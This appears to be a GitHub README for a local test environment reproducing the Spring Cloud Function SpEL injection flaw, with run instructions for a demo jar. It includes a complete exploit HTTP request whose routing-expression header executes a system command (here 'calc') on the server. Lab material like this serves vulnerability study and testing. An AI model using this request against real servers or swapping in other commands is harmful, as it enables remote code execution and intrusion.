pizz33/spring-cloud-function-spelReproduction environment and proof-of-concept for Spring Cloud Function SpEL injection leading to remote code execution, with a runnable Java 11 demo and HTTP request example.
Visit my personal blog for details https://pizz33.github.io/
A test environment for Spring Cloud Function SpEL expression injection
Version: Java 11. Start with java -jar demo-0.0.1-SNAPSHOT.jar
Once set up, access port 127.0.0.1:8080
POST /functionRouter HTTP/1.1
Host: 127.0.0.1:8080
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("calc")
Content-Type: application/x-www-form-urlencoded
Content-Length: 5
xxx
